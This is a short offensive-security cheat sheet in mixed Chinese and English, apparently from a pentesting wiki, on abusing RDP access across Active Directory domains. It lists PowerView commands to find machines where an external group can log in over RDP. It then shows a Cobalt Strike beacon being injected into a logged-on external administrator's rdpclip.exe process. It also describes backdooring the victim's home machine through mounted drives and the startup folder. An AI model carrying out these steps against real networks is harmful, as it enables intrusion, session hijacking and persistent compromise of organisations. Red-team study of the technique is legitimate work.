RDP Sessions Abuse
RDP 进程注入
如果外部组在当前域中的任何计算机上具有RDP 访问权限,攻击者可以入侵该计算机并等待用户。
一旦用户通过 RDP 访问,攻击者可以转向该用户的会话并滥用其在外部域中的权限。
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user查看本页中使用其他工具窃取会话的其他方法 在此页面中。
RDPInception
如果用户通过RDP访问一台等待攻击者的机器,攻击者将能够在用户的RDP会话中注入一个信标,如果受害者在通过RDP访问时挂载了他的驱动器,攻击者可以访问它。
在这种情况下,您可以通过在启动文件夹中写入后门来妥协受害者的原始计算机。
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